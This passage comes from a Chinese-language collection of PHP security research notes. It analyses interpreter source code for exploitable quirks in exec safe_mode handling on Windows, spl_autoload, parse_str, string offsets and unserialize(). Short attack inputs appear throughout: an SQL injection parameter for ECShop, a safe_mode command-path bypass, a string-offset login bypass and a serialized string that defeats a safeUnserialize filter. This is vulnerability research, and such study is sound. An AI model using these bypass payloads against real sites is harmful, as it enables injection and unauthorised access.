145 | // 因此可以引入任意的key:)
146 | // 程序员的逻辑出了问题?
147 | }
148 | }
149 | ...
150 | foreach ($_GET['attr'] AS $key => $value)
151 | {
152 | $attr_url .= '&attr[' . $key . ']=' . $value;
153 |
154 | $attr_picks[] = $key;
155 | if ($i > 0)
156 | {
157 | if (empty($goods_result))
158 | {
159 | break;
160 | }
161 | // 利用key进行注射:)
162 | $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
163 | ```
164 |
165 | 由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞:)
166 |
167 | EXP:
168 | http://www.80vul.com/exp/ecshop-pch-005.txt
169 |
170 | update 2010年5月15日
171 | http://www.80vul.com/exp/ecshop2-pch-005.txt
172 |
173 | #### 五、参考:
174 | http://bugs.php.net/bug.php?id=41093
175 |
--------------------------------------------------------------------------------
/research/pch-006.md:
--------------------------------------------------------------------------------
1 | ### 安全模式下exec等函数安全隐患
2 | > author: 80vul-B Updata:2009-6-19
3 |
4 | 昨天php5.2.10出来了,fix了PCH-006里提到的bug:
5 |
6 | > Fixed bug #45997 (safe_mode bypass with exec/system/passthru (windows only))
7 |
8 | 然而遗憾的是还有问题,看看php是咋fix这个的:
9 | ``` c
10 | ...
11 | b = strrchr(cmd, PHP_DIR_SEPARATOR);
12 | #ifdef PHP_WIN32
13 | if (b && *b == '\\' && b == cmd) {
14 | // 注意标红的代码:p
15 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid absolute path.");
16 | goto err;
17 | }
18 | #endif
19 | ...
20 | ```
21 |
22 | 恩,fix后执行exec('\dir')会报错,但是exec('80vul\b\dir')依旧会执行:)
23 |
24 | PoC:
25 | ``` php
26 |
36 | ```
37 |
38 | #### 一、前言
39 |
40 | 就在昨天milw0rm上公布了一个非常有意思的漏洞:PHP <= 5.2.9 Local Safemod Bypass Exploit (win32).作者看到公告后,在php源代码基础上分析了下这个问题的根本原因,于是就有本文.
41 |
42 | #### 二、描叙
43 |
44 | 在php手册了有一节:<被安全模式限制或屏蔽的函数> 给出了受安全模式影响的一些函数如:
45 |
46 | * backtick operator 本函数在安全模式下被禁用。
47 | * shell_exec()(在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。
48 | * exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
49 | * system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
50 | * passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
51 | * popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
52 |
53 | 细心的朋友可能发现了在安全模式下,对于exec()/system()/passthru()/popen()这4个函数不是被禁用的,只是需要在safe_mode_exec_dir目录下执行,但当safe_mode=on且safe_mode_exec_dir为空时[默认为空],php在处理这一过程中存在安全隐患,在windows下exec()/system()/passthru()可以通过引入\来执行程序:)
54 |
55 | [ps:popen()不存在这个问题,文章后面会给出原因.]
56 |
57 | #### 三、代码分析:
58 |
59 | 以exec()函数为例分析下源码:
60 | ``` c
61 | // exec.c
62 | PHP_FUNCTION(exec)
63 | {
64 | php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
65 | }
66 | // system(),passthru()函数也是调用的php_exec_ex 但popen()不是
67 | ...
68 | static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode)
69 | {
70 | char *cmd;
71 | int cmd_len;
72 | zval *ret_code=NULL, *ret_array=NULL;
73 | int ret;
74 | ...
75 | if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z/z/", &cmd, &cmd_len, &ret_array, &ret_code) == FAILURE) {
76 | RETURN_FALSE;
77 | }
78 | ...
79 | if (!ret_array) {
80 | ret = php_exec(mode, cmd, NULL, return_value TSRMLS_CC);
81 | ...
82 | int php_exec(int type, char *cmd, zval *array, zval *return_value TSRMLS_DC)
83 | {
84 | ...
85 | if (PG(safe_mode)) {
86 | if ((c = strchr(cmd, ' '))) {
87 | *c = '\0';
88 | c++;
89 | }
90 | // 取cmd中的参数部分
91 |
92 | if (strstr(cmd, "..")) {
93 | php_error_docref(NULL TSRMLS_CC, E_WARNING, "No '..' components allowed in path");
94 | goto err;
95 | }
96 | // 不允许使用..来跳转目录 ,这个也是php手册描叙不让..的处理代码
97 |
98 | b = strrchr(cmd, PHP_DIR_SEPARATOR);
99 | // 在win下PHP_DIR_SEPARATOR为\,*nix下为/,具体定义在main/php.h
100 | // 如果cmd是80vul\b\dir,那么这部分取得的值是\dir
101 |
102 | spprintf(&d, 0, "%s%s%s%s%s", PG(safe_mode_exec_dir), (b ? "" : "/"), (b ? b : cmd), (c ? " " : ""), (c ? c : ""));
103 | // 这句是这个安全隐患的关键处
104 | // 如果php.ini中没有设置safe_mode_exec_dir的话,80vul\dir经过上面的处理为\dir[如果直接提交dir则会被处理为/dir]
105 | // 这个也是需要"safe_mode_exec_dir为空时[默认为空]"的原因
106 |
107 | if (c) {
108 | *(c - 1) = ' ';
109 | }
110 | cmd_p = php_escape_shell_cmd(d);
111 | // 这里调用了php_escape_shell_cmd处理
112 |
113 | ...
114 | #ifdef PHP_WIN32
115 | fp = VCWD_POPEN(cmd_p, "rb");
116 | #else
117 | fp = VCWD_POPEN(cmd_p, "r");
118 | #endif
119 | ...
120 | char *php_escape_shell_cmd(char *str) {
121 | register int x, y, l;
122 | char *cmd;
123 | char *p = NULL;
124 |
125 | TSRMLS_FETCH();
126 |
127 | l = strlen(str);
128 | cmd = safe_emalloc(2, l, 1);
129 |
130 | for (x = 0, y = 0; x < l; x++) {
131 | // 这里用的strlen,所以这个函数是not safe binary
132 | int mb_len = php_mblen(str + x, (l - x));
133 |
134 | /* skip non-valid multibyte characters */
135 | if (mb_len < 0) {
136 | continue;
137 | } else if (mb_len > 1) {
138 | memcpy(cmd + y, str + x, mb_len);
139 | y += mb_len;
140 | x += mb_len - 1;
141 | continue;
142 | }
143 | // 这部分代码是为了补se牛提出的那个编码问题:p
144 | // http://www.sektioneins.de/advisories/SE-2008-03.txt
145 |
146 | switch (str[x]) {
147 | ...
148 | case '\\':
149 | ...
150 | #ifdef PHP_WIN32
151 | /* since Windows does not allow us to escape these chars, just remove them */
152 | case '%':
153 | cmd[y++] = ' ';
154 | break;
155 | // 如果是win下的话,就把\等特殊字符去掉
156 | // 那么\dir经过此函数处理后就变成dir了:)
157 | #endif
158 | cmd[y++] = '\\';
159 | /* fall-through */
160 | default:
161 | cmd[y++] = str[x];
162 | ...
163 |
164 | // tsrm_win32.c
165 | TSRM_API FILE *popen_ex(const char *command, const char *type, const char *cwd, char *env)
166 | {
167 | ...
168 | cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c "));
169 | sprintf(cmd, "%s /c %s", TWG(comspec), command);
170 | if (!CreateProcess(NULL, cmd, &security, &security, security.bInheritHandle, NORMAL_PRIORITY_CLASS|CREATE_NO_WINDOW, env, cwd, &startup, &process)) {
171 | // 调用CreateProcess创建线程,执行命令
172 | return NULL;
173 | }
174 | ```
175 |
176 | 下面看下popen()的代码:
177 | ``` c
178 | PHP_FUNCTION(popen)
179 | {
180 | ....
181 | if (PG(safe_mode)){
182 | b = strchr(Z_STRVAL_PP(arg1), ' ');
183 | if (!b) {
184 | b = strrchr(Z_STRVAL_PP(arg1), '/');
185 | \\直接使用的 / ,根本没有考虑windows系统下对\的支持,所以也就不存在上面的问题
186 | } else {
187 | char *c;
188 | c = Z_STRVAL_PP(arg1);
189 | while((*b != '/') && (b != c)) {
190 | b--;
191 | }
192 | if (b == c) {
193 | b = NULL;
194 | }
195 | }
196 |
197 | if (b) {
198 | spprintf(&buf, 0, "%s%s", PG(safe_mode_exec_dir), b);
199 | } else {
200 | spprintf(&buf, 0, "%s/%s", PG(safe_mode_exec_dir), Z_STRVAL_PP(arg1));
201 | }
202 |
203 | tmp = php_escape_shell_cmd(buf);
204 | fp = VCWD_POPEN(tmp, p);
205 | ....
206 | ```
207 |
208 | #### 四、测试代码
209 |
210 | PoC:
211 | ``` php
212 |
222 | ```
223 | #### 五、实际利用:
224 |
225 | PHP <= 5.2.9 SafeMod Bypass Vulnerability [by www.abysssec.com]
226 | http://www.milw0rm.com/exploits/8799
227 |
--------------------------------------------------------------------------------
/research/pch-007.md:
--------------------------------------------------------------------------------
1 | ### New Includes Function -- spl_autoload()
2 | > author: ryat#www.wolvez.org date:2009-04-13
3 |
4 |
5 | #### 1.描述
6 |
7 | 看看手册对这个函数的描述:
8 |
9 | > spl_autoload
10 | (PHP 5 >= 5.1.2)
11 |
12 | > spl_autoload — Default implementation for __autoload()
13 |
14 | > void spl_autoload ( string $class_name [, string $file_extensions= spl_autoload_extensions() ] )
15 |
16 | > This function is intended to be used as a default implementation for __autoload(). If nothing else is specified and autoload_register() is called without any parameters then this functions will be used for any later call to __autoload().
17 |
18 | 从描述中可以知道这个函数用来替代类中__autoload方法
19 |
20 | #### 2.代码分析
21 |
22 | spl_autoload()的php源码:
23 |
24 | ``` c
25 | // php_spl.c
26 | PHP_FUNCTION(spl_autoload)
27 | {
28 | ...
29 | char *class_name, *lc_name, *file_exts = SPL_G(autoload_extensions);
30 | int class_name_len, file_exts_len = SPL_G(autoload_extensions_len), found = 0;
31 | char *copy, *pos1, *pos2;
32 | ...
33 | if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|s", &class_name, &class_name_len, &file_exts, &file_exts_len) == FAILURE) {
34 | RETURN_FALSE;
35 | }
36 |
37 | if (file_exts == NULL) { /* autoload_extensions is not intialzed, set to defaults */
38 | copy = pos1 = estrndup(SPL_DEFAULT_FILE_EXTENSIONS, sizeof(SPL_DEFAULT_FILE_EXTENSIONS)-1);
39 | // 如果没有指定file_extensions参数,设定file_extensions为.inc或.php
40 | } else {
41 | copy = pos1 = estrndup(file_exts, file_exts_len);
42 | }
43 | lc_name = zend_str_tolower_dup(class_name, class_name_len);
44 | while(pos1 && *pos1 && !EG(exception)) {
45 | ...
46 | if (spl_autoload(class_name, lc_name, class_name_len, pos1 TSRMLS_CC)) {
47 | ...
48 | static int spl_autoload(const char *class_name, const char * lc_name, int class_name_len, const char * file_extension TSRMLS_DC) /* {{{ */
49 | {
50 | ...
51 | class_file_len = spprintf(&class_file, 0, "%s%s", lc_name, file_extension);
52 | // 合并 class_name和file_extensions
53 |
54 | ret = php_stream_open_for_zend_ex(class_file, &file_handle, ENFORCE_SAFE_MODE|USE_PATH|STREAM_OPEN_FOR_INCLUDE TSRMLS_CC);
55 | // 打开指定文件
56 | ...
57 | if (ret == SUCCESS) {
58 | if (!file_handle.opened_path) {
59 | file_handle.opened_path = estrndup(class_file, class_file_len);
60 | }
61 | if (zend_hash_add(&EG(included_files), file_handle.opened_path, strlen(file_handle.opened_path)+1, (void *)&dummy, sizeof(int), NULL)==SUCCESS) {
62 | new_op_array = zend_compile_file(&file_handle, ZEND_REQUIRE TSRMLS_CC);
63 | // 将文件编译成opcode
64 | ...
65 | } else {
66 | new_op_array = NULL;
67 | ...
68 | }
69 | if (new_op_array) {
70 | ...
71 | zend_execute(new_op_array TSRMLS_CC);
72 | // 执行opcode :)
73 | ```
74 |
75 | 可以看到,这个函数完全可以替代include/require函数的作用[当然如果你熟悉__autoload方法的使用方法的话,你可能很快就会意识到这点了:)]
76 |
77 | #### 3.测试代码
78 |
79 | PoC:
80 | ``` php
81 | // test.php
82 | author: 80vul-B date:2011-02-23
3 |
4 | #### 描叙
5 |
6 | 看下手册中对这个函数的部分描述:
7 |
8 | > void parse_str ( string $str [, array &$arr ] )
9 |
10 | > Parses str as if it were the query string passed via a URL and sets variables in the current scope.
11 |
12 | > Parameters
13 | str
14 | The input string.
15 | arr
16 | If the second parameter arr is present, variables are stored in this variable as array elements instead.
17 |
18 | 这个是一个应用比较多的函数,但是处理不当的话,有可能出现安全隐患,比如覆盖任意变量[注[1]]或导致变量未初始化.
19 |
20 | #### 分析
21 |
22 | 看下parse_str()的部分源码:
23 | ``` c
24 | // string.c
25 |
26 | PHP_FUNCTION(parse_str)
27 | {
28 | ...
29 |
30 | if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z", &arg, &arglen, &arrayArg) == FAILURE) {
31 | return;
32 | }
33 | ```
34 |
35 | 这里存在一个和preg_match()类似的问题[注[2]],如果传入parse_str()的第一个参数是一个数组或者资源类型的话,将会报错并返回false,这可能会导致变量未初始化的问题(如果使用第二个参数的话,该变量将不会被赋值)
36 |
37 | [1]:http://www.80vul.com/pasc2at/pasc2at.htm
38 | [2]:http://www.80vul.com/pch/pch-002.txt
39 |
--------------------------------------------------------------------------------
/research/pch-009.md:
--------------------------------------------------------------------------------
1 | ### Security risk of php string offset
2 | > ryat_at_www.80vul.com
3 |
4 | #### 一、前言[关于PCH]
5 |
6 | "PCH"及"Php Codz Hacking"是80vul在2009年4月推出的一个项目,主要是在php源代码的基
7 | 础分析和探讨一些可以给php应用安全带来影响的'特性'或者'漏洞'。这个项目最早起源于
8 | webzine 0x3里的《高级PHP应用程序漏洞审核技术》[详见[1]]:
9 |
10 | > 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审
11 | 计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的
12 | 基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)
13 |
14 | 而本文就是PCH的一篇,在php的代码基础上分析PHP字符串offset一个可以给PHP应用程序带
15 | 来安全风险的小"特性"...
16 |
17 | #### 二、PHP String Offset
18 |
19 | 先来看看手册中关于字符串offset取值特性的一段描述[详见[2]]:
20 |
21 | > String access and modification by character
22 |
23 | > Characters within strings may be accessed and modified by specifying the
24 | zero-based offset of the desired character after the string using square array
25 | brackets, as in $str[42]. Think of a string as an array of characters for this
26 | purpose. The functions substr() and substr_replace() can be used when you want
27 | to extract or replace more than 1 character.
28 |
29 | > Note: Strings may also be accessed using braces, as in $str{42}, for the
30 | same purpose.
31 |
32 | 通过这个特性可以很方便的对字符串进行修改或者取值等操作,比如下面的代码:
33 | ``` php
34 | $xigr = 'ryat';
35 | echo $xigr[0];
36 | // echo r
37 | ```
38 | 再看看这段代码:
39 | ``` php
40 | echo $xigr['hi'];
41 | // echo r
42 | ```
43 |
44 | 为什么对于字符串$xigr来说,$xigr[0]和$xigr['hi']取得值是一样的呢?让我们来看看PHP部
45 | 分源码...
46 |
47 | #### 三、PHP源码分析:
48 |
49 | ``` c
50 | // zend_execute.c
51 | static void zend_fetch_dimension_address(temp_variable *result, zval **container_ptr, zval *dim, int dim_is_tmp_var, int type TSRMLS_DC)
52 | {
53 | zval *container = *container_ptr;
54 | zval **retval;
55 |
56 | switch (Z_TYPE_P(container)) {
57 | ...
58 | case IS_STRING: {
59 | zval tmp;
60 |
61 | if (type != BP_VAR_UNSET && Z_STRLEN_P(container)==0) {
62 | goto convert_to_array;
63 | }
64 | if (dim == NULL) {
65 | zend_error_noreturn(E_ERROR, "[] operator not supported for strings");
66 | }
67 |
68 | if (Z_TYPE_P(dim) != IS_LONG) {
69 | switch(Z_TYPE_P(dim)) {
70 | /* case IS_LONG: */
71 | case IS_STRING:
72 | case IS_DOUBLE:
73 | case IS_NULL:
74 | case IS_BOOL:
75 | /* do nothing */
76 | break;
77 | default:
78 | zend_error(E_WARNING, "Illegal offset type");
79 | break;
80 | }
81 |
82 | tmp = *dim;
83 | zval_copy_ctor(&tmp);
84 | convert_to_long(&tmp);
85 | dim = &tmp;
86 | ...
87 | ```
88 |
89 | 上面的代码片段可以看出,对于$xigr['hi']这种形式的字符串,在offset取值时键值会被转换
90 | 为整形,也就是等同于$xigr[0]这种形式:)
91 |
92 | #### 四、带来的应用安全风险
93 |
94 | 虽然这是一个很方便的特性,但是如果开发者对这个特性没有充分的认识或者忽视的时候,就
95 | 可以给应用程序带来灾难性的安全漏洞。这个主要体现开发者在处理数组变量名时没有指定
96 | 变量类型,当这个数组变量被恶意提交字符类型来取值,导致的一些安全风险。
97 |
98 | ##### 1、绕过某些条件判断
99 |
100 | 如在phpspy2006的代码在判断登录时使用了如下条件判断:
101 | ``` php
102 | $admin['check'] = "1";
103 | $admin['pass'] = "angel";
104 | ......
105 | if($admin['check'] == "1") {
106 | ....
107 | }
108 | ```
109 |
110 | $admin没有被初始定义为数组类型,那么当我们用字符串提交时phpsyp.php?admin=1xxx时,
111 | php会取字符串1xxx的第一位,成功绕过if的条件判断。
112 |
113 | [PS:此漏洞是由80vul的saiy发现的,thx]
114 |
115 | ##### 2、"魔术引号带来的新的安全问题"
116 |
117 | 在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里,有
118 | 提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体
119 | 现,如下面的代码片段:
120 |
121 | ``` php
122 | // foo.php?xigr='ryat
123 | function daddslashes($string, $force = 0) {
124 | !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
125 | if(!MAGIC_QUOTES_GPC || $force) {
126 | if(is_array($string)) {
127 | foreach($string as $key => $val) {
128 | $string[$key] = daddslashes($val, $force);
129 | }
130 | } else {
131 | $string = addslashes($string);
132 | }
133 | }
134 | return $string;
135 | }
136 | ...
137 | foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
138 | foreach($$_request as $_key => $_value) {
139 | $_key{0} != '_' && $$_key = daddslashes($_value);
140 | }
141 | }
142 |
143 | echo $xigr['hi'];
144 | // echo \
145 | ```
146 |
147 | 上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr['hi'],但是没
148 | 有对变量$xigr做严格的类型规定,当我们提交一个字符串变量$xigr='ryat,经过上面的处理
149 | 变为\'ryat,到最后$xigr['hi']就会输出\,如果这个变量引入到SQL语句,那么就会引起严重
150 | 的安全问题了,再来看下面的代码片段:
151 |
152 | ``` php
153 | ...
154 | if($xigr) {
155 | foreach($xigr as $k => $v) {
156 | $uids[] = $v['uid'];
157 | }
158 | $query = $db->query("SELECT uid FROM users WHERE uid IN ('".implode("','", $uids)."')");
159 | ```
160 | 利用上面提到的思路,通过提交foo.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可
161 | 以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞:D
162 |
163 |
164 | #### 五、后话
165 |
166 | 上面的例子再一次说明努力挖掘PHP本身的特性或者漏洞才是PHP应用安全的主要出路。另外
167 | 还有一句话送给各位看官“虫子永远属于那些有想法勤劳的小鸟”。
168 |
169 | #### 六、参考
170 | [1]:http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
171 | [2]:http://php.net/manual/en/language.types.string.php
172 |
173 | -EOF-
174 |
--------------------------------------------------------------------------------
/research/pch-010.md:
--------------------------------------------------------------------------------
1 | ### PHP string序列化与反序列化语法解析不一致带来的安全隐患
2 | > author: ryat#www.wolvez.org date:2012-11-19
3 |
4 | 不久前 IPB 爆出了一个 unserialize() 漏洞[[1]](http://seclists.org/bugtraq/2012/Nov/17) ,漏洞本身没有什么特别的,但 IPB 官方发布的 patch 却很有意思[[2]](http://adminextra.com/threads/ip-board-3-1-x-3-2-x-and-3-3-x-hacked.6125/) ,很快 Stefan Esser 在其 twitter 上给出了 bypass 的方法[[3]](http://twitter.com/i0n1c) , 随后 IPB 官方针对此 bypass 发布了新的 patch,但 Stefan Esser 表示新 patch 通过改变处理方式最终化解了此漏洞,但其提供的过滤函数 safeUnserialize() 依旧是存在安全问题的。
5 |
6 | 虽然 Stefan Esser 没有透漏问题具体所在,但笔者通过查看相关 PHP 源码,发现 PHP 在对 string 进行序列化与反序列化处理过程中存在语法解析不一致的问题,这有可能会导致很严重的安全问题,同时也可以很容易的 bypass safeUnserialize() 函数的过滤。
7 |
8 | #### i. PHP string serialize() 相关源码分析
9 | ``` c
10 | static inline void php_var_serialize_string(smart_str *buf, char *str, int len) /* {{{ */
11 | {
12 | smart_str_appendl(buf, "s:", 2);
13 | smart_str_append_long(buf, len);
14 | smart_str_appendl(buf, ":\"", 2);
15 | smart_str_appendl(buf, str, len);
16 | smart_str_appendl(buf, "\";", 2);
17 | }
18 | ```
19 |
20 | 通过上面的代码片段可以看到 serialize() 对 string 序列化处理方式如下:
21 |
22 | ``` php
23 | $str = 'ryatsyne';
24 | var_dump(serialize($str));
25 | // $str serialized string output
26 | // s:8:"ryatsyne";
27 | ```
28 |
29 | #### ii. PHP string unserialize() 相关源码分析
30 |
31 | unserialize() 函数对 string 的反序列化则分为两种,一种是对 `s:` 格式的序列化 string 进行处理:
32 |
33 | ``` c
34 | switch (yych) {
35 | ...
36 | case 's': goto yy9;
37 | ...
38 | yy9:
39 | yych = *(YYMARKER = ++YYCURSOR);
40 | if (yych == ':') goto yy46;
41 | goto yy3;
42 | ...
43 | yy46:
44 | yych = *++YYCURSOR;
45 | if (yych == '+') goto yy47;
46 | if (yych <= '/') goto yy18;
47 | if (yych <= '9') goto yy48;
48 | goto yy18;
49 | yy47:
50 | yych = *++YYCURSOR;
51 | if (yych <= '/') goto yy18;
52 | if (yych >= ':') goto yy18;
53 | yy48:
54 | ++YYCURSOR;
55 | if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
56 | yych = *YYCURSOR;
57 | if (yych <= '/') goto yy18;
58 | if (yych <= '9') goto yy48;
59 | if (yych >= ';') goto yy18;
60 | yych = *++YYCURSOR;
61 | if (yych != '"') goto yy18;
62 | ++YYCURSOR;
63 | {
64 | size_t len, maxlen;
65 | char *str;
66 |
67 | len = parse_uiv(start + 2);
68 | maxlen = max - YYCURSOR;
69 | if (maxlen < len) {
70 | *p = start + 2;
71 | return 0;
72 | }
73 |
74 | str = (char*)YYCURSOR;
75 |
76 | YYCURSOR += len;
77 |
78 | if (*(YYCURSOR) != '"') {
79 | *p = YYCURSOR;
80 | return 0;
81 | }
82 | // 确保格式为 s:x:"x"
83 |
84 | YYCURSOR += 2;
85 | *p = YYCURSOR;
86 | // 注意这里,*p 指针直接后移了两位,也就是说没有判断 " 后面是否为 ;
87 |
88 | INIT_PZVAL(*rval);
89 | ZVAL_STRINGL(*rval, str, len, 1);
90 | return 1;
91 | ```
92 |
93 | 另一种是对 S: 格式的序列 string 进行处理(此格式在 serialize() 函数序列化处理中并没有定义):
94 |
95 | ``` c
96 | static char *unserialize_str(const unsigned char **p, size_t *len, size_t maxlen)
97 | {
98 | size_t i, j;
99 | char *str = safe_emalloc(*len, 1, 1);
100 | unsigned char *end = *(unsigned char **)p+maxlen;
101 |
102 | if (end < *p) {
103 | efree(str);
104 | return NULL;
105 | }
106 |
107 | for (i = 0; i < *len; i++) {
108 | if (*p >= end) {
109 | efree(str);
110 | return NULL;
111 | }
112 | if (**p != '\\') {
113 | str[i] = (char)**p;
114 | } else {
115 | unsigned char ch = 0;
116 |
117 | for (j = 0; j < 2; j++) {
118 | (*p)++;
119 | if (**p >= '0' && **p <= '9') {
120 | ch = (ch << 4) + (**p -'0');
121 | } else if (**p >= 'a' && **p <= 'f') {
122 | ch = (ch << 4) + (**p -'a'+10);
123 | } else if (**p >= 'A' && **p <= 'F') {
124 | ch = (ch << 4) + (**p -'A'+10);
125 | } else {
126 | efree(str);
127 | return NULL;
128 | }
129 | }
130 | str[i] = (char)ch;
131 | }
132 | (*p)++;
133 | }
134 | str[i] = 0;
135 | *len = i;
136 | return str;
137 | }
138 | // 上面的函数是对 \72\79\61\74\73\79\6e\65 这样十六进制形式字符串进行转换
139 | ...
140 | switch (yych) {
141 | ...
142 | case 'S': goto yy10;
143 | // 处理过程与 s: 相同
144 | if ((str = unserialize_str(&YYCURSOR, &len, maxlen)) == NULL) {
145 | return 0;
146 | }
147 | // 处理过程与 s: 相同
148 | ```
149 |
150 | 从上面的代码片段可以看到 unserialize() 对序列化后的 string 反序列化处理如下:
151 |
152 | ``` php
153 | $str1 = 's:8:"ryatsyne";';
154 | $str2 = 's:8:"ryatsyne"t';
155 | $str3 = 'S:8:"\72\79\61\74\73\79\6e\65"';
156 | var_dump(unserialize($str));
157 | // $str1, $str2 and $str3 unserialized string output
158 | // ryatsyne;
159 | ```
160 |
161 | #### iii. 语法解析处理不一致导致的安全隐患
162 |
163 | 从上述分析过程可以看到 PHP 在反序列化 string 时没有严格按照序列化格式 s:x:"x"; 进行处理,没有对 " 后面的是否存在 ; 进行判断,同时增加了对十六进制形式字符串的处理,这样前后处理的不一致让人很费解,同时由于 PHP 手册中对此没有详细的说明,大部分程序员对此处理过程并不了解,这可能导致其在编码过程中出现疏漏,甚至导致严重的安全问题。
164 |
165 | 回到文章开头提到的 IPB 漏洞上,利用这个 funny feature of PHP 可以很容易的 bypass safeUnserialize() 函数的过滤:)
166 |
167 | ``` php
168 | * mixed safe_unserialize(string $serialized)
169 | * Safely unserialize, that is only unserialize string, numbers and arrays, not objects
170 | *
171 | * @license Public Domain
172 | * @author dcz (at) phpbb-seo (dot) com
173 | */
174 | static public function safeUnserialize( $serialized )
175 | {
176 | // unserialize will return false for object declared with small cap o
177 | // as well as if there is any ws between O and :
178 | if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
179 | {
180 | if ( strpos( $serialized, 'O:' ) === false )
181 | {
182 | // the easy case, nothing to worry about
183 | // let unserialize do the job
184 | return @unserialize( $serialized );
185 | }
186 | else if ( ! preg_match('/(^|;|{|})O:[+\-0-9]+:"/', $serialized ) )
187 | {
188 | // in case we did have a string with O: in it,
189 | // but it was not a true serialized object
190 | return @unserialize( $serialized );
191 | }
192 | }
193 |
194 | return false;
195 | }
196 |
197 | // a:1:{s:8:"ryatsyne"tO:8:"ryatsyne":0:{}}
198 | // 只要构造类似的序列化字符串就可以轻易突破这里的过滤了
199 | ```
200 |
201 | #### iiii. 参考
202 |
203 | * [1][http://seclists.org/bugtraq/2012/Nov/17](http://seclists.org/bugtraq/2012/Nov/17)
204 | * [2][http://adminextra.com/threads/ip-board-3-1-x-3-2-x-and-3-3-x-hacked.6125/](http://adminextra.com/threads/ip-board-3-1-x-3-2-x-and-3-3-x-hacked.6125/)
205 | * [3][http://twitter.com/i0n1c](http://twitter.com/i0n1c)
206 |
--------------------------------------------------------------------------------
/research/pch-011.md:
--------------------------------------------------------------------------------
1 | ### Destructor in PHP
2 | > [@cywm528](https://gist.github.com/cywm528) date:2014-04-21
3 |
4 | PHP5 引入了析构函数的概念,允许在类中定义 \_\_destruct 方法作为析构函数。具有析构函数的类实例化后,析构函数会在一些情况下被调用。
5 |
6 | #### PHP 脚本执行正常终止
7 |
8 | PHP 脚本执行结束后,会调用 php\_request\_shutdown 函数进行关闭操作。
9 |
10 | ``` php
11 | void php_request_shutdown(void *dummy)
12 | {
13 | ...
14 | zend_try {
15 | zend_call_destructors(TSRMLS_C);
16 | } zend_end_try();
17 |
18 | ```
19 | zend\_call\_destructors 函数会调用 zend\_objects\_store\_call\_destructors 函数处理 EG(objects\_store) ,EG(objects\_store) 存储了脚本执行阶段生成的所有对象,其存取结构为 \_zend\_object\_store\_bucket 结构体。
20 | ``` php
21 | typedef struct _zend_object_store_bucket {
22 | zend_bool destructor_called;
23 | zend_bool valid;
24 | zend_uchar apply_count;
25 | union _store_bucket {
26 | struct _store_object {
27 | void *object;
28 | zend_objects_store_dtor_t dtor;
29 | zend_objects_free_object_storage_t free_storage;
30 | zend_objects_store_clone_t clone;
31 | const zend_object_handlers *handlers;
32 | zend_uint refcount;
33 | gc_root_buffer *buffered;
34 | } obj;
35 | struct {
36 | int next;
37 | } free_list;
38 | } bucket;
39 | } zend_object_store_bucket;
40 |
41 | typedef struct _zend_objects_store {
42 | zend_object_store_bucket *object_buckets;
43 | zend_uint top;
44 | zend_uint size;
45 | int free_list_head;
46 | } zend_objects_store;
47 | ```
48 | destructor\_called 的值为 1,表示已调用过 \_\_destruct 方法,值为 0,则表示没调用过;refcount 是对像的引用计数(其作用后面会讲解到)。
49 |
50 | 如果 destructor\_called 的值为 0,zend\_objects\_store\_call\_destructors 函数会把 destructor\_called 设置为 1,并调用 zend\_objects\_destroy\_object 函数来处理,该函数会执行对象所定义的 \_\_destruct 方法(如果定义了的话),最后销毁对象。
51 |
52 | 因此,当 PHP 脚本执行正常终止时,会执行未在脚本执行过程中销毁的对象所定义的 \_\_destruct 方法,如下面的代码:
53 |
54 | ``` php
55 |
69 | ```
70 |
71 | #### PHP 脚本执行过程发生 Fatal error 错误
72 |
73 | 来看下 PHP 在 5.1.3 以前的版本对脚本执行过程中发生错误的处理:
74 | ``` php
75 | static void php_error_cb(int type, const char *error_filename, const uint error_lineno, const char *format, va_list args)
76 | {
77 | ...
78 | switch (type) {
79 | case E_CORE_ERROR:
80 | if(!module_initialized) {
81 | /* bad error in module startup - no way we can live with this */
82 | exit(-2);
83 | }
84 | /* no break - intentionally */
85 | case E_ERROR:
86 | /* case E_PARSE: the parser would return 1 (failure), we can bail out nicely */
87 | case E_COMPILE_ERROR:
88 | case E_USER_ERROR:
89 | EG(exit_status) = 255;
90 | if (module_initialized) {
91 | #if MEMORY_LIMIT
92 | /* restore memory limit */
93 | AG(memory_limit) = PG(memory_limit);
94 | #endif
95 | efree(buffer);
96 | zend_bailout();
97 | return;
98 | }
99 | break;
100 | }
101 | ```
